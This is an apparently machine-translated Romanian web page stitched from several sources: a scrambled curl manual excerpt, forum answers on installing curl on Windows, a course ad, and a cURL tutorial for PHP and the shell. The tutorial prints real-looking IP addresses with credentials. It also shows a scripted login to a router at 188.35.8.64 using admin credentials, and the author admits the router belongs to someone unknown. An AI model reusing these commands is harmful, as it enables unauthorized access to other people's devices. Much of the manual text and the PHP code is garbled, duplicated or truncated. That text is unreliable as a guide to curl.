    pentru a vedea dacă bucla o susține. Dacă această opțiune este folosită de mai multe ori, va fi folosită ultima.-K/--config

    Specificați din ce fișier de configurare să citiți argumentele curl. Fișierul de configurare este un fișier text în care pot fi scrise argumente ale liniei de comandă care apoi vor fi folosite ca și cum ar fi fost scrise pe linia de comandă reală. Opțiunile și parametrii acestora trebuie să fie specificați pe aceeași linie de fișier de configurare. Dacă parametrul trebuie să conțină spații albe, parametrul trebuie să fie cuprins între ghilimele. Dacă prima coloană a unei linii de configurare este un caracter „#”, restul liniei va fi tratată ca un comentariu.

    Specificați numele fișierului ca „-” pentru ca curl să citească fișierul din stdin. Rețineți că, pentru a putea specifica o adresă URL în fișierul de configurare, trebuie să o specificați folosind--url

    1) curl încearcă să găsească „dir home”: mai întâi verifică variabilele de mediu CURL_HOME și apoi HOME. În caz contrar, folosește getpwuid() pe sisteme asemănătoare Unix (care returnează directorul home dat utilizatorului curent din sistemul dumneavoastră). Pe Windows, verifică apoi variabila APPDATA sau, ca ultimă soluție, „%USERPROFILE%Application Data”.

    2) Pe Windows, dacă nu există niciun fișier _curlrc în directorul de acasă, verifică dacă există unul în același director în care este plasat curl executabil. Pe sisteme de tip Unix, pur și simplu va încerca să încarce .curlrc din directorul de acasă determinat. --limit-rate

    Specificați rata maximă de transfer pe care doriți să o folosească curl. Această caracteristică este utilă dacă aveți o conductă limitată și doriți ca transferul să nu utilizeze întreaga lățime de bandă.

    Viteza dată este măsurată în octeți/secundă, cu excepția cazului în care este adăugat un sufix. Adăugarea „k” sau „K” va număra numărul ca kiloocteți, „m” sau M” îl face megaocteți, în timp ce „g” sau „G” îl face gigaocteți. Exemple: 200K, 3m și 1G. Dacă utilizați și-Y/--limita-viteza

    opțiunea, acea opțiune va avea prioritate și ar putea paraliza ușor limitarea ratei, pentru a ajuta la menținerea funcționării logicii limitei de viteză.

    Dacă această opțiune este folosită de mai multe ori, va fi folosită ultima.

    -l/--list-only (FTP) Când listați un director FTP, acest comutator forțează o vizualizare numai cu nume. Mai ales util dacă doriți să analizați automat conținutul unui director FTP, deoarece vizualizarea normală a directorului nu folosește un aspect sau un format standard. Această opțiune determină trimiterea unei comenzi FTP NLST. Unele servere FTP listează numai fișiere în răspunsul lor la NLST; nu includ subdirectoare și legături simbolice. Dacă această opțiune este folosită de două ori, a doua va dezactiva din nou numai lista.--local-port [-num] Setați un număr preferat sau un interval de numere de port local de utilizat pentru conexiuni. Rețineți că numerele de porturi, prin natura lor, sunt o resursă limitată, care va fi ocupată uneori, așa că setarea acestui interval la ceva prea îngust ar putea cauza erori inutile de configurare a conexiunii. (Adăugat în 7.15.2) -L/--location (HTTP/HTTPS) Dacă serverul raportează că pagina solicitată s-a mutat într-o altă locație (indicată cu un antet Locație: și un cod de răspuns 3XX), această opțiune va face curl refaceți solicitarea pe noul loc. Dacă este utilizat împreună cu-i/--include --locație-de încredere despre cum să schimbi asta. Puteți limita numărul de redirecționări de urmat utilizând --max-redirs opţiune.

    Dacă această opțiune este folosită de două ori, a doua va dezactiva din nou următoarea locație. Dacă nu este folosită nicio literă „=" în linie, aceasta este tratată ca un nume de fișier de utilizat pentru a citi liniile cookie stocate anterior, care ar trebui să fie folosite în această sesiune dacă se potrivesc. Utilizarea acestei metode activează, de asemenea, „parserul de cookie-uri”, care va face și curl înregistrarea cookie-urilor primite, ceea ce poate fi util dacă îl utilizați în combinație cu--location-trusted (HTTP/HTTPS) Ca

    , dar va permite trimiterea numelui + parolei către toate gazdele către care site-ul poate redirecționa. Acest lucru poate introduce sau nu o încălcare a securității dacă site-ul vă redirecționează către un site către care veți trimite informațiile de autentificare (care este text simplu în cazul autentificării de bază HTTP). Dacă această opțiune este folosită de două ori, a doua va dezactiva din nou următoarea locație.

    --max-filesize Specificați dimensiunea maximă (în octeți) a unui fișier de descărcat. Dacă fișierul solicitat este mai mare decât această valoare, transferul nu va începe și curl va reveni cu codul de ieșire 63. NOTĂ: Mărimea fișierului nu este întotdeauna cunoscută înainte de descărcare, iar pentru astfel de fișiere această opțiune nu are efect chiar dacă transferul de fișiere ajunge să fie mai mare decât această limită dată. Acest lucru privește atât transferurile FTP, cât și HTTP. opţiune.

    -m/--max-time Timp maxim în secunde pe care îl permiteți să dureze întreaga operațiune. Acest lucru este util pentru a preveni blocarea sarcinilor dvs. în lot ore în șir din cauza rețelelor lente sau a legăturilor care se întrerup. Vezi și--connect-timeout (4) Dacă această opțiune este folosită de mai multe ori, va fi folosită ultima. (1) -M/--manual Manual. Afișați uriașul text de ajutor.

    -n/--netrc Face ca curl să scaneze Timp maxim în secunde pe care îl permiteți să dureze întreaga operațiune. Acest lucru este util pentru a preveni blocarea sarcinilor dvs. în lot ore în șir din cauza rețelelor lente sau a legăturilor care se întrerup. Vezi și.netrc

    Fișier în directorul de start al utilizatorului pentru numele de conectare și parola Acest lucru este utilizat de obicei pentru ftp în Unix

    sau pentru detalii despre formatul fișierului. Curl nu se va plânge dacă acel fișier nu are permisiunile potrivite (nu ar trebui să fie citibil în lume sau în grup Variabila de mediu „HOME” este folosită pentru a găsi directorul de acasă). Un exemplu rapid și foarte simplu despre cum să configurați a pentru a permite curl la ftp la mașina host.domain.com cu numele de utilizator „eu” și parola „secret” ar trebui să arate similar cu: mașină host.domain.com login myself parola secretă pentru detalii despre formatul fișierului. Curl nu se va plânge dacă acel fișier nu are permisiunile potrivite (nu ar trebui să fie citibil în lume sau în grup Variabila de mediu „HOME” este folosită pentru a găsi directorul de acasă). face.

    --negotiate (HTTP) Activează autentificarea GSS-Negotiate. Metoda GSS-Negotiate a fost concepută de Microsoft și este utilizată în aplicațiile lor web. Este conceput în primul rând ca suport pentru autentificarea Kerberos5, dar poate fi folosit și împreună cu alte metode de autentificare. Pentru mai multe informații, consultați proiectul IETF draft-brezak-spnego-http-04.txt. Dacă această opțiune este folosită de mai multe ori, va fi folosită ultima. Această opțiune necesită ca biblioteca să fie construită cu suport GSSAPI. Acest lucru nu este foarte comun. Utilizare

    pentru a vedea dacă versiunea dvs. acceptă GSS-Negotiate.

    Când utilizați această opțiune, trebuie să furnizați și o opțiune falsă -u/--user pentru a activa corect codul de autentificare. Trimiterea unui „-u:” este suficientă deoarece numele de utilizator și parola din opțiunea -u nu sunt de fapt folosite.

    Dacă această opțiune este folosită de mai multe ori, următoarele apariții nu fac nicio diferență.

    -N/--no-buffer Dezactivează tamponarea fluxului de ieșire. În situații normale de lucru, curl va folosi un flux de ieșire tamponat standard care va avea efectul că va scoate datele în bucăți, nu neapărat exact când sosesc datele. Folosirea acestei opțiuni va dezactiva acea tamponare. Dacă această opțiune este folosită de două ori, a doua va activa din nou tamponarea..

    --ntlm (HTTP) Activează autentificarea NTLM. Metoda de autentificare NTLM a fost concepută de Microsoft și este utilizată de serverele web IIS. Este un protocol proprietar, proiectat invers de oameni inteligenți și implementat în curl pe baza eforturilor lor. Acest tip de comportament nu ar trebui să fie aprobat, ar trebui să încurajați pe toți cei care folosesc NTLM să treacă la o metodă de autentificare publică și documentată. Cum ar fi Digest. Dacă această opțiune este folosită de mai multe ori, va fi folosită ultima. Dacă doriți să activați NTLM pentru autentificarea proxy, atunci utilizați

    --proxy-ntlm Această opțiune necesită ca biblioteca să fie construită cu suport SSL. Utilizare pentru a vedea dacă bucla acceptă NTLM. Dacă această opțiune este folosită de mai multe ori, următoarele apariții nu fac nicio diferență.

    -o/--ieșire

    Vezi și Scrie ieșire înîn loc de stdout. Dacă utilizați () sau pentru a prelua mai multe documente, puteți utiliza „#” urmat de un număr în

    specificatorul. Variabila respectivă va fi înlocuită cu șirul curent pentru adresa URL preluată. Ca în:

    Puteți utiliza această opțiune de câte ori aveți numărul de adrese URL. --pasa

    (SSL) Expresie de acces pentru cheia privată

    Dacă această opțiune este folosită de mai multe ori, va fi folosită ultima. Dacă această opțiune este setată de mai multe ori, ultima va fi cea care este folosită. --anyauth (HTTP) Îi spune lui curl să descopere singur metoda de autentificare și să folosească cea mai sigură pe care site-ul la distanță susține că o acceptă. Acest lucru se realizează mai întâi prin efectuarea unei cereri și verificarea antetelor de răspuns, inducând astfel o călătorie dus-întors în rețea. Aceasta este utilizată în loc de a seta o metodă de autentificare specifică, pe care o puteți face.--proxy-anyauth Spune lui curl să aleagă o metodă de autentificare potrivită atunci când comunică cu proxy-ul dat. Acest lucru va provoca o cerere/răspuns suplimentar dus-întors. (Adăugat în 7.13.2)

    Dacă această opțiune este folosită de două ori, a doua va dezactiva din nou utilizarea proxy-orice autentificare. --de bază--proxy-basic Spune lui curl să folosească autentificarea de bază HTTP atunci când comunică cu proxy-ul dat. Utilizare

    pentru activarea HTTP Basic cu o gazdă la distanță. Basic este metoda de autentificare implicită pe care curl o folosește cu proxy. --digera Dacă această opțiune este folosită de două ori, a doua va dezactiva din nou autentificarea de bază HTTP proxy.

    --proxy-digest Spune lui curl să folosească autentificarea HTTP Digest atunci când comunică cu proxy-ul dat. Utilizare pentru activarea HTTP Digest cu o gazdă la distanță. Dacă această opțiune este utilizată de două ori, a doua va dezactiva din nou proxy HTTP Digest.

    --proxy-ntlm Spune lui curl să folosească autentificarea HTTP NTLM atunci când comunică cu proxy-ul dat. Utilizare

    pentru activarea NTLM cu o gazdă la distanță.
    Dacă această opțiune este folosită de două ori, a doua va dezactiva din nou proxy HTTP NTLM.

    -p/--proxytunnel Când este utilizat un proxy HTTP ( -x/--proxy), această opțiune va face ca protocoalele non-HTTP să încerce să treacă prin tunel prin proxy în loc să-l folosească pur și simplu pentru a efectua operațiuni asemănătoare HTTP. Abordarea tunel este realizată cu cererea de CONECTARE a proxy-ului HTTP și necesită ca proxy-ul să permită conectarea directă la numărul portului de la distanță pe care curl dorește să facă tunelul. Dacă această opțiune este folosită de două ori, a doua va dezactiva din nou tunelul proxy.. EPRT este cu adevărat PORT++. -q Dacă este folosit ca prim parametru pe linia de comandă, curlrc fișierul de configurare nu va fi citit și utilizat. Vezi-K/--config pentru detalii despre calea implicită de căutare a fișierului de configurare.

    -Q/--citat (FTP) Trimiteți o comandă arbitrară către serverul FTP de la distanță. Comenzile de cotare sunt trimise ÎNAINTE ca transferul să aibă loc (mai exact după comanda inițială PWD). Pentru ca comenzile să aibă loc după un transfer reușit, prefixați-le cu o liniuță „-”. Pentru ca comenzile să fie trimise după ce libcurl a schimbat directorul de lucru, chiar înaintea comenzii de transfer, prefixați comanda cu „+”. Puteți specifica orice cantitate de comenzi. Dacă serverul returnează eșec pentru una dintre comenzi, întreaga operațiune va fi anulată. Trebuie să trimiteți comenzi FTP corecte din punct de vedere sintactic, așa cum le definește RFC959. Această opțiune poate fi folosită de mai multe ori.--random-file (HTTPS) Specificați numele căii către fișierul care conține ceea ce va fi considerat date aleatorii. Datele sunt folosite pentru a genera motorul aleatoriu pentru conexiunile SSL. Vezi și 0-499 --egd-file 500-999 opţiune. -r/--gama -500 (HTTP/FTP) Preluați un interval de octeți (adică un document parțial) de la un server HTTP/1.1 sau FTP. Intervalele pot fi specificate în mai multe moduri. 9500- specifică primii 500 de octeți 0-0,-1 specifică al doilea 500 de octeți 500-700,600-799 specifică ultimii 500 de octeți 100-199,500-599 specifică octeții de la offset 9500 și înainte

    specifică doar primul și ultimul octet(*)(H)

    specifică 300 de octeți de la offset 500(H)

    specifică două intervale separate de 100 de octeți(*)(H)

    (*) = NOTĂ că acest lucru va determina serverul să răspundă cu un răspuns în mai multe părți!

    De asemenea, ar trebui să știți că multe servere HTTP/1.1 nu au această funcție activată, astfel încât atunci când încercați să obțineți un interval, veți primi în schimb întregul document. Descărcările în intervalul FTP acceptă doar sintaxa simplă „start-stop” (opțional cu unul dintre numere omis). Depinde de comanda non-RFC SIZE.

    Când curl este pe cale să reîncerce un transfer, va aștepta mai întâi o secundă și apoi pentru toate reîncercările viitoare va dubla timpul de așteptare până când ajunge la 10 minute, care va fi apoi întârzierea dintre restul reîncercărilor. Prin folosirea --retry-delay dezactivați acest algoritm de backoff exponențial. Vezi de asemenea --retry-max-time pentru a limita timpul total permis pentru reîncercări. (Adăugat în 7.12.3)

    Dacă această opțiune este folosită de mai multe ori, ultima apariție decide suma. --retry-delay Faceți curl sleep acest interval de timp între fiecare reîncercare când un transfer a eșuat cu o eroare tranzitorie (se modifică algoritmul implicit de timp de retragere între reîncercări). Această opțiune este interesantă doar dacă--reîncercați

    este de asemenea folosit. Setarea acestei întârzieri la zero va face ca curl să folosească timpul implicit de retragere. (Adăugat în 7.12.3) Dacă această opțiune este folosită de mai multe ori, ultima apariție decide suma. Faceți curl sleep acest interval de timp între fiecare reîncercare când un transfer a eșuat cu o eroare tranzitorie (se modifică algoritmul implicit de timp de retragere între reîncercări). Această opțiune este interesantă doar dacă--retry-max-time -m/--max-time Cronometrul de reîncercare este resetat înainte de prima încercare de transfer. Reîncercările vor fi făcute ca de obicei (vezi

    ) atâta timp cât temporizatorul nu a atins această limită dată. Observați că, dacă cronometrul nu a atins limita, cererea va fi făcută și, în timpul executării, poate dura mai mult decât această perioadă de timp dată. Pentru a limita timpul maxim al unei singure solicitări, utilizați

    . Setați această opțiune la zero pentru a nu reîncerca timeout. (Adăugat în 7.12.3)

    Dacă această opțiune este folosită de mai multe ori, ultima apariție decide suma. -s/--silent Mod silențios. Nu afișați contorul de progres sau mesajele de eroare. Dezactivează Curl.

    pentru activarea HTTP Digest cu o gazdă la distanță.

    Dacă această opțiune este utilizată de două ori, a doua va dezactiva din nou modul silențios. -S/--show-error Când este folosit cu -s, face curl show mesaj de eroare dacă eșuează.

    Dacă această opțiune este utilizată de două ori, a doua va dezactiva din nou afișarea erorii. pentru activarea HTTP Digest cu o gazdă la distanță.--șosete4

    Utilizați proxy-ul SOCKS4 specificat. Dacă numărul portului nu este specificat, acesta se presupune la portul 1080. (Adăugat în 7.15.2) Dacă această opțiune este folosită de mai multe ori, va fi folosită ultima.

    Dacă această opțiune este folosită de mai multe ori, va fi folosită ultima. (3) --tcp-nodelay Activați opțiunea TCP_NODELAY. Vezi

    pagina de manual pentru detalii despre această opțiune. (Adăugat în 7.11.2) Dacă această opțiune este folosită de mai multe ori, fiecare apariție activează/dezactivează această opțiune.

    -t/--opțiune-telnet Transferați opțiunile la protocolul telnet. Opțiunile acceptate sunt:

    TTYPE= Setează tipul terminalului.

    XDISPLOC= Setează locația de afișare X. NEW_ENV=

    Setează o variabilă de mediu.

    -T/--upload-file

    Aceasta transferă fișierul local specificat la adresa URL la distanță. Dacă nu există nicio parte de fișier în adresa URL specificată, Curl va adăuga numele fișierului local. NOTĂ că trebuie să utilizați un / final pe ultimul director pentru a-i dovedi cu adevărat lui Curl că nu există un nume de fișier sau curl va crede că ultimul nume de director este numele fișierului de la distanță de utilizat. Acest lucru va duce cel mai probabil să eșueze operația de încărcare. Dacă aceasta este utilizată pe un server http(e), va fi folosită comanda PUT.

    Utilizați numele de fișier „-” (o singură liniuță) pentru a utiliza stdin în loc de un fișier dat. Puteți specifica câte un -T pentru fiecare URL de pe linia de comandă. Fiecare pereche -T + URL specifică ce să încarce și unde. curl acceptă, de asemenea, „globing” al argumentului -T, ceea ce înseamnă că puteți încărca mai multe fișiere la o singură adresă URL utilizând același stil de globbing URL acceptat în URL, astfel: fișierul de configurare nu va fi citit și utilizat. Vezi FIȘIERE

    ~/.curlrc

    Fișier de configurare implicit, vezi pentru detalii. MEDIU http_proxy [:port] Setează serverul proxy pentru a fi utilizat pentru HTTP. HTTPS_PROXY

    [:port] Setează serverul proxy pentru a fi utilizat pentru HTTPS.

    Există o mulțime de coduri de eroare diferite și mesajele de eroare corespunzătoare care pot apărea în condiții nefavorabile. La momentul scrierii acestui articol, codurile de ieșire sunt: ​​1 Protocol neacceptat. Această construcție de curl nu are suport pentru acest protocol. 2 Inițializarea eșuată. este folosit. Cele existente sunt menite să nu se schimbe niciodată.

    3 URL malformat. Sintaxa nu era corectă.

    4 URL-uri utilizator malformatate. Partea utilizator a sintaxei URL nu a fost corectă.

    5 Nu s-a putut rezolva proxy-ul. Gazda proxy dată nu a putut fi rezolvată. 6 Nu s-a putut rezolva gazda. Gazda la distanță dată nu a fost rezolvată.

    • 7 Nu s-a putut conecta la gazdă.
    • 8 FTP răspuns ciudat de server. Serverul a trimis curl-ul de date nu a putut analiza 9. Accesul FTP a fost refuzat .

      10 Utilizator FTP/parolă incorectă. Oriunul sau ambele nu au fost acceptate de server.

      Găsiți curl.exe în pachetul descărcat; este probabil sub bin\ .

      Selectați o locație de pe hard disk care va servi drept casă permanentă pentru bucle:

      • Dacă doriți să faceți curl propriul folder, C:\Program Files\curl\ sau C:\curl\ va face.
      • Dacă aveți o mulțime de executabile gratuite și nu doriți să adăugați multe foldere separate la PATH, utilizați un singur folder în acest scop, cum ar fi C:\Program Files\tools\ sau C:\tools\ .

      Pune curl.exe în folder. Și nu mutați niciodată folderul sau conținutul acestuia.

      Apoi, veți dori să faceți curl disponibil oriunde pe linia de comandă. Pentru a face acest lucru, adăugați folderul la PATH, astfel:

      1. Faceți clic pe meniul Start din Windows 10. Începeți să tastați „mediu”.
      2. Veți vedea rezultatul căutării. Editați variabilele de mediu ale sistemului. Alege asta.
      3. Se deschide fereastra System Properties. Faceți clic pe butonul Variabile de mediu jos.
      4. Selectați variabila „Cale” în secțiunea „Variabile de sistem” (câmpul de jos). Faceți clic pe butonul Schimba.
      5. Faceți clic pe " Adăuga"și inserați calea către folderul în care se află curl.exe.
      6. Clic BINE, dacă este necesar. Închideți ferestrele consolei deschise și redeschideți-le astfel încât să primească noua PATH.

      Acum bucurați-vă de tastarea curl pe orice linie de comandă. E timpul să te distrezi!

      Pentru a rula curl din linia de comandă

      a) Faceți clic dreapta pe pictograma My Computer

      b) Selectați „Proprietăți”

      d) Accesați fila [Avansat] - butonul „Variabile de mediu”.

      e) Sub „System Variable” selectați „Path” și „Edit”

      f) Adăugați un punct și virgulă și apoi calea unde ați plasat curl.exe (de exemplu, D:\software\curl)

    Acum puteți rula din linia de comandă tastând:

    Curl www.google.com

    Începând cu Windows 10 versiunea 1803 (și anterioară, versiunea Insider 17063), nu mai instalați curl . Windows conține propriul său curl.exe (și tar.exe) în C:\Windows\System32\ pe care îl puteți accesa direct din CMD obișnuit.

    C:\Utilizatori\vonc>C:\Windows\System32\curl.exe --version curl 7.55.1 (Windows) libcurl/7.55.1 WinSSL Data lansării: Protocoale: fișier dict ftp ftps http https imap imaps pop3 pop3s smtp smtps telnet tftp Caracteristici: AsynchDNS IPv6 Largefile SSPI Kerberos SPNEGO NTLM SSL C:\Users\vonc>C:\Windows\System32\tar.exe --version bsdtar 3.3.2 - libarchive 3.3.2 zlib/1.2.5.f- ipp

    Probabil că merită remarcat faptul că Powershell v3 și mai târziu conține cmdletul Invoke-WebRequest, care are unele capacități de curling. Probabil că merită menționat și cmdleturile New-WebServiceProxy și Invoke-RestMethod.

    Nu sunt sigur dacă ți se vor potrivi sau nu, dar chiar dacă nu sunt Windows, trebuie să spun că mi se pare mult mai ușor abordarea obiectului pe care PS o folosește pentru a lucra cu utilități precum curl, wget etc. S-ar putea să merite o privire

    Puteți crea cea mai recentă versiune de curl, openssl, libssh2 și zlib în 3 pași simpli, urmând acest tutorial.

    Curl este construit static, astfel încât nu trebuie să propagați timpul de rulare dinamic necesar.

    De asemenea, puteți descărca versiunea predefinită (x86 și x64) de la

    Am căutat procesul de descărcare Răsuciși oriunde au spus copiați fișierul curl.exe pe System32, dar nu au furnizat un link direct. ca sa te poti bucura aici curl.exe usor de folderul bin Doar

    dezarhivați-l și apoi accesați folderul bin de unde veți obține fișierul exe

    M-am gândit să scriu exact ce am făcut (Windows 10, versiunea pe 64 de biți):

    Selectați executabilul curl.

    Selectați Win64.

    Alege universal.

    Alege pe oricare.

    versiune curl: 7.53.1 - SSL activat SSH activat. Credit: Victor Shakats. Acest pachet este un tip executabil de curl. Acest link vă va oferi un binar curl pre-compilat (sau, în unele cazuri, folosind informațiile furnizate pe pagina către care vă duce linkul). Puteți sau nu să instalați libcurl ca bibliotecă/DLL partajată. Fișierul este împachetat folosind 7zip. 7zip este un format de arhivare a fișierelor.

    Faceți clic pe descărcare.

    Ar trebui să aveți fișierul curl-7.53.1-win64-mingw.7z în folderul de descărcări.

    Instalați 7-Zip dacă nu îl aveți.

    Faceți clic dreapta, 7-Zip, Extrageți aici. Copiați și inserați fișierul extras undeva, cum ar fi Z:\Tools\

    Dacă te uiți în folderul bin, vei vedea curl.exe. Dacă faceți dublu clic pe el, fereastra va clipi rapid și va dispărea. Pentru a-l rula, trebuie să utilizați linia de comandă. Accesați dosarul dvs. de coș și introduceți curl urmat de opțiunile dvs. pentru a face cererea. Trebuie să utilizați ghilimele duble. Ghilimele simple nu vor funcționa cu curl pe Windows.

    Acum trebuie să adăugați curl la variabila Calea utilizatorului, astfel încât să nu fie nevoie să navigați la folderul corect pentru a rula programul. Accesați acest computer, computer, proprietăți sistem, setări avansate de sistem, conectați-vă ca administrator (nu sunteți administrator, nu-i așa?). Variabile de mediu, Variabile de sistem, uitați-vă la listă și selectați Cale, apoi Editați, apoi Nou, apoi de ex.

    Z:\Tools\curl-7.53.1-win64-MinGW\Bin

    Puteți adăuga o bară oblică inversă dacă doriți, nu cred că contează. Apăsați butonul de mutare în sus până când se află în partea de sus a listei și îl puteți vedea cu ușurință din ecranul anterior. Faceți clic pe OK, OK, OK, apoi deschideți promptul de comandă și puteți rula curl tastând curl din orice folder ca orice utilizator. Nu uitați ghilimelele duble.

    Acesta este răspunsul pe care aș dori să-l primesc.

    Acest program de instalare mi-a făcut ușor http://www.confusedbycode.com/curl/

    Vă prezentăm atenției un nou curs din partea echipei The Codeby- „Testarea de penetrare a aplicațiilor web de la zero”. Teorie generală, pregătirea mediului de lucru, fuzzing pasiv și amprentare, fuzzing activ, Vulnerabilități, Post-exploatare, Instrumente, Inginerie socială și multe altele.


    Pentru ce este cURL?

    • cURL este excelent pentru simularea acțiunilor utilizatorului într-un browser.

    Exemplu practic real: trebuie să reporniți routerul (modem-ul) pentru a schimba adresa IP. Pentru a face acest lucru, trebuie să: să vă conectați la router, să accesați pagina de întreținere și să faceți clic pe butonul „Repornire”. Dacă această acțiune trebuie efectuată de mai multe ori, atunci procedura trebuie repetată. De acord, nu doriți să faceți această rutină manual de fiecare dată. cURL vă permite să automatizați toate acestea. Cu doar câteva comenzi cURL puteți obține autorizarea și finaliza sarcina pe router.

    • cURL este util pentru preluarea datelor de pe site-uri web pe linia de comandă.

    Un alt exemplu practic: dorim să implementăm afișarea statisticilor generale pentru mai multe site-uri. Dacă folosim cURL, atunci aceasta devine o sarcină complet banală: folosind cURL ne autentificăm pe serviciul de colectare a statisticilor (dacă este necesar), apoi (din nou folosind comenzi cURL) obținem paginile necesare, analizăm datele de care avem nevoie; procedura se repetă pentru toate site-urile noastre, apoi adăugăm și afișăm rezultatul final.

    Aceste. cazurile de utilizare a cURL sunt destul de reale, deși, în majoritatea lor, cURL este nevoie de programatorii care îl folosesc pentru programele lor.

    cURL acceptă multe protocoale și metode de autorizare, poate transfera fișiere, funcționează corect cu cookie-uri, acceptă certificate SSL, proxy și multe altele.

    cURL în PHP și linie de comandă

    Putem folosi cURL în două moduri principale: în scripturi PHP și pe linia de comandă.

    Pentru a activa cURL în PHP pe server, trebuie să decomentați linia din fișierul php.ini

    Extensie=php_curl.dll

    Și apoi reporniți serverul.

    Pe Linux trebuie să instalați pachetul curl.

    Pe Debian, Ubuntu sau Linux Mint:

    $ sudo apt-get install curl

    Pe Fedora, CentOS sau RHEL:

    $ sudo yum install curl

    Pentru a vedea clar diferența de utilizare în PHP și pe linia de comandă, vom efectua aceleași sarcini de două ori: mai întâi într-un script PHP și apoi pe linia de comandă. Să încercăm să nu ne confuzăm.

    Preluarea datelor folosind cURL

    Preluarea datelor folosind cURL în PHP

    Exemplu in PHP:

    Este foarte simplu:

    $target_url— adresa site-ului care ne interesează. După adresa site-ului, puteți pune două puncte și adăugați adresa portului (dacă portul este diferit de cel standard).

    curl_init— inițializează o nouă sesiune și returnează un descriptor, care în exemplul nostru este atribuit unei variabile $ch.

    Apoi executăm cererea cu funcția cURL curl_exec, căruia i se trece un descriptor ca parametru.

    Totul este foarte logic, dar atunci când acest script este executat, conținutul site-ului va fi afișat pe pagina noastră. Dar ce se întâmplă dacă nu vrem să afișăm conținutul, ci vrem să-l scriem într-o variabilă (pentru procesarea sau analizarea ulterioară).

    Să adăugăm puțin la scriptul nostru:

    0) ( echo "Eroare curl: " . eroare_curl($ch); ) curl_close($ch); ?>

    Avem o linie curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);.

    curl_setopt— setează opțiuni. O listă completă de opțiuni poate fi găsită pe această pagină: http://php.net/manual/en/function.curl-setopt.php

    $response_data = curl_exec($ch);

    Acum valoarea scriptului este atribuită variabilei $response_data, cu care pot fi efectuate operațiuni suplimentare. De exemplu, puteți afișa conținutul acestuia.

    Dacă (curl_errno($ch) > 0) ( echo "Eroare curl: " . curl_error($ch); )

    servesc pentru depanare în cazul în care apar erori.

    Preluarea datelor folosind cURL pe linia de comandă

    Pe linia de comandă, trebuie doar să tastați

    Curl mi-al.ru

    unde în loc de mi-al.ru- adresa site-ului dvs. web.

    Dacă trebuie să copiați datele într-o variabilă, în loc să afișați rezultatul pe ecran, atunci procedați astfel:

    Temp=`curl mi-al.ru`

    Cu toate acestea, unele date sunt încă afișate:

    Pentru a preveni afișarea lor, adăugați cheia -s:

    Temp=`curl -s mi-al.ru`

    Puteți vedea ce a fost înregistrat:

    Echo $temp | Mai puțin

    Autentificare de bază și HTTP

    Autentificarea, pur și simplu, înseamnă introducerea unui nume de utilizator și a unei parole.

    Autentificarea de bază este autentificarea bazată pe server. Pentru aceasta, sunt create două fișiere: .htaccessŞi .htpasswd

    Conținutul fișierului .htaccess este cam așa

    AuthName „Numai pentru utilizatorii înregistrați!” AuthType Basic necesită un utilizator valid AuthUserFile /home/freeforum.biz/htdocs/.htpassw

    Conținutul fișierului .htpasswd este cam așa:

    Mial:CRdiI.ZrZQRRc

    Aceste. login și parola hash.

    Când încercați să accesați un folder protejat cu parolă, browserul va afișa ceva de genul:

    Autentificarea HTTP este cazul când introducem o autentificare și o parolă într-un formular de pe site. Această autentificare este folosită atunci când vă conectați la e-mail, forumuri etc.

    Autentificare cURL de bază (PHP)

    Există un site http://62.113.208.29/Update_FED_DAYS/ care ne cere să ne logăm:

    Să încercăm scriptul nostru inițial:

    0) ( echo "Eroare curl: " . eroare_curl($ch); ) else ( echo $date_răspuns; ) curl_close($ch); ?>

    Deși scriptul consideră că nu există nicio eroare, nu ne place deloc rezultatul:

    Adăugați două rânduri:

    Curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_USERPWD, "ru-board:ru-board");

    Pe prima linie setăm tipul de autentificare - de bază. A doua linie conține numele și parola separate prin două puncte (în cazul nostru, numele și parola sunt aceleași - ru-board). A ieșit așa:

    0) ( echo "Eroare curl: " . eroare_curl($ch); ) else ( echo $date_răspuns; ) curl_close($ch); ?>

    Autentificare cURL de bază (pe linia de comandă)

    Același lucru poate fi realizat pe linia de comandă cu o singură linie:

    Curl -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/

    Nu am uitat să precizez tipul de autentificare, doar că în cURL tipul de autentificare de bază este implicit.

    Totul a mers atât de repede pe linia de comandă încât, din frustrare, am scris următorul program. Se conectează la site și descarcă cea mai recentă actualizare:

    Temp=`curl -s -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/ | grep -E -o „Actualizare_FED_201(1).(2).(2).7z” | unic | coada -n 1`; curl -o $temp -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/$temp

    Cu doar câteva comenzi mai puteți adăuga:

    • despachetarea arhivei în directorul specificat;
    • lansarea actualizărilor ConsultantPlus (acestea sunt actualizări pentru acesta);
    • puteți verifica dacă cea mai recentă actualizare disponibilă a fost deja descărcată sau a apărut una nouă;
    • adăugați totul la Cron pentru actualizări zilnice.

    CURL de autentificare HTTP

    Autentificare HTTP cURL în PHP

    Trebuie să știm:

    • adresa unde se trimit datele de autentificare
    • metoda de trimitere GET sau POST
    • log in
    • parolă

    Uneori aceste date nu sunt suficiente. Să ne dăm seama.

    Adresa la care trebuie să trimiteți datele poate fi preluată din formularul de autentificare. De exemplu:

    Ne uităm la proprietate acţiune. Aceste. pagina finală este login.php. Avem nevoie de adresa completă, de exemplu acest http://188.35.8.64:8080/login.php

    Aici găsim și metoda de trimitere: method="post"

    Știu, de asemenea, login și parola: admin și qwerasdfzxcv

    Pentru orice eventualitate, acesta nu este routerul meu (și nu știu al cui), așa că dacă vrei să mă enervezi, atunci nu trebuie să faci nimic murdar pe acest router.

    Aceste. Un șir este trimis către server din formular folosind metoda POST. Teoretic, scriptul nostru anterior, la care am adăugat o nouă linie, ar trebui să funcționeze. Aceste. autentificarea trebuie să aibă loc.

    0) ( echo "Eroare curl: " . eroare_curl($ch); ) else ( ) curl_close($ch); ?>

    Linie nouă în scenariu

    curl_setopt($ch, CURLOPT_POSTFIELDS, "LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv");

    Aici curl_setopt— o funcție care ne este deja familiară pentru setarea opțiunilor pentru cURL, CURLOPT_POSTFIELDS- acesta este numele opțiunii pe care o setăm. CURLOPT_POSTFIELDS conține toate datele care sunt transferate folosind metoda POST. Ei bine, linia în sine LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv- acestea sunt exact datele pe care le transmitem.

    Dacă examinați cu atenție formularul, veți vedea că acesta conține și câmpuri ascunse. Și datele pot fi prelucrate sau completate cu JavaScript Puteți studia toate acestea, dar eu prefer o metodă mai simplă.

